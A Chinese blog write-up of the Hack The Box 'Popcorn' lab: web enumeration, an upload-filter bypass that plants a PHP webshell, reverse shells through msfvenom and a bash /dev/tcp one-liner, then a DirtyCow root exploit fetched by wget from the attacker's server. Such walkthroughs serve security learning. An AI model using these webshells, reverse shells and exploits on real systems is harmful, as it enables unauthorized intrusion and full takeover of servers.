HTB学习笔记(一)–Popcorn靶场

前言

这是hack the box退休机器里面的一个中级难度的靶场,需要充VIP才能打。对于我这个菜鸡而言,还是很有些难度的,所以特此写个wp记录一下。

正文

信息收集

nmap先扫一波:

nmap -Pn -A 10.10.10.6

发现开了web服务和ftp服务,ftp服务没什么用,于是从web服务入手。访问ip地址以后发现只有默认页面,于是dirbuster爆破一下(这里直接选最小的字典就行,字典存放的默认路径是/usr/share/dirbuster/wordlists):

按照下图设置好即可开始爆破。先爆破主目录下面的二级目录:

发现/torrent返回状态码200,说明有戏。

getshell

访问后发现是一个BT种子的CMS,废话少说,先找上传点。需要登录,这里随便注册个账号(信息随便填):

注册登录后点击upload模块,发现上传文件类型被限制为torrent文件,试了各种绕过也不行。没办法,只能通过三级目录入手:

爆破后发现下面有databases目录,点进去看到SQL文件,审计后发现管理员账号密码(密码需要md5解密):

好像没什么用(有兴趣的师傅可以研究一下),继续找下一个上传点。找了一圈没有找到,只能自己找一个正常的BT种子上传,我选择去kali官网下载一个种子上传。

上传种子以后找到一个图片上传点:

下面分享几种getshell的方法:

0x01 利用msf生成shell

我们可以利用msf生成一个PHP的木马:

msfvenom -p php/meterpreter/reverse_tcp lhost=tun0 lport=6666 -f raw > shell.php

把文件名改成shell.php.jpg绕过第一层限制,再用burpsuite抓包,改回文件名:

去爆破到的/torrent/upload目录下找到刚才上传的webshell,点进去(注意做了改名处理)再刷新,msf设置好各项参数即可拿到反弹回来的shell。

上传成功:

0x02 bash一句话,用netcat监听

同样方式上传一句话木马<?php @system($_POST['cmd']);?>,bp改后缀,bash连接一句话:

curl http://10.10.10.6/木马路径 --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/kali内网ip/端口 0>&1'"

nc监听反弹的shell。

nc -lvnp 6666

建议用python自带的伪终端模块:

python -c 'import pty;pty.spawn("/bin/bash")'

0x03 github上下载PHP反弹shell

https://github.com/pentestmonkey/php-reverse-shell

拿到www权限后,user.txt就很容易找到了(忘记截图了)。

提权

拿到shell后老规矩,先uname -a查看当前系统内核版本,上网搜索相关exp,发现有脏牛等几种提权exp。把C语言代码上传到服务器,再编译。上传方式可以是和前面一样,但是文件上传后会重命名,所以我想到以下几种上传exp的方法:

0x01 把exp传到我的vps,再在弹回来的shell里面使用wget下载

0x02 使用scp命令上传文件(失败)

scp root@10.10.14.3:/home/kali/Desktop/tiquan.c /tiquan.c #前面的是kali上exp的路径,后面的是靶机路径

这种方法失败了,据说是因为弹回来的shell无法执行scp命令。

最后在某位大佬的提示下,使用python的http模块:

python3 -m http.server 端口       #python3
python -m SimpleHTTPServer 端口   #python2

在靶机使用wget下载:

wget http://kali的内网ip:端口/exp.c

靶机编译并运行:

gcc exp.c -o exp 
chmod +x exp
./exp

这里我遇到了报错(换成官方wp里面的exp出现权限不足提示):

既然这个exp和官方wp里面的exp不行,那么换脏牛提权试试:

https://www.exploit-db.com/exploits/40847

各种编译错误,失败。

看了大佬博客以后,发现用了下面的exp才能成功:

https://www.exploit-db.com/exploits/40839

这里要注意编译命令,要带上额外的参数:

gcc -pthread dirty.c -o dirty -lcrypt
./dirty

编译成功后运行超级慢,不知道是为什么。使用exp中的用户名和自己设置的密码,ssh登录后,进入root文件夹即可找到root.txt。(这里一定要用ssh登录,否则部分命令会无法执行)

成功拿下!

总结

这个靶机算是很贴近实战的步骤了,个人认为文件上传部分的过滤有些简单,很容易getshell。虽然没有内网部分,但是外网打点仍然值得回味。尤其是提权部分,是整个过程中耗时最长的,也是遇到问题最多的。这也告诉我们,实战中遇到这些问题不要轻易放弃,而是要坚持下去,不是找到exp就万事大吉了。

知识共享许可协议
本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。

感谢大家的耐心阅读,如有疑问,敬请在评论区留言!本文为明赫IT大本营的原创文章,经实践,测试,整理后发布。如需转载请联系作者获得授权,并注明转载地址。

评论

  1. 小鸟伏特加
    Windows Chrome 95.0.4638.54
    1月前
    2021-11-02 11:09:48

    大佬666!

    • admin 博主
      Windows Chrome 95.0.4638.54
      1月前
      2021-11-02 11:10:27

      谢谢来访!

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇